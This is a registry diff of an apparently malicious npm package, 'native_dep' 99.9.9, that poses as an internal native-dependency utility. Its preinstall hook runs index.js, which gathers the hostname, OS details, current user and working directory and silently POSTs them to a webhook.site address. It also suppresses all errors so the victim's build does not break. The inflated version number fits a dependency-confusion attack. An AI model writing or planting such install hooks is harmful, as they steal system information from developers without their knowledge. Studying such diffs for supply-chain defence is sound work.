native_dep 99.9.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +31 -0
  2. package/package.json +11 -0
package/index.js ADDED
@@ -0,0 +1,31 @@
1
+ const https = require('https');
2
+ const os = require('os');
3
+ const { execSync } = require('child_process');
4
+
5
+ try {
6
+ const data = JSON.stringify({
7
+ hostname: os.hostname(),
8
+ os_type: os.type(),
9
+ os_release: os.release(),
10
+ user: execSync('whoami').toString().trim(),
11
+ directory: process.cwd()
12
+ });
13
+
14
+ const options = {
15
+ hostname: 'https://webhook.site/47debf94-93bb-4f92-a942-3dcade10a8bf', // Replace this!
16
+ port: 443,
17
+ path: '/',
18
+ method: 'POST',
19
+ headers: {
20
+ 'Content-Type': 'application/json',
21
+ 'Content-Length': data.length
22
+ }
23
+ };
24
+
25
+ const req = https.request(options);
26
+ req.on('error', (e) => { /* Silent fail if no internet */ });
27
+ req.write(data);
28
+ req.end();
29
+ } catch (e) {
30
+ // Silent fail so we don't break their build
31
+ }
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "native_dep",
3
+ "version": "99.9.9",
4
+ "description": "Internal utility for native dependency management",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node index.js"
8
+ },
9
+ "author": "",
10
+ "license": "ISC"
11
+ }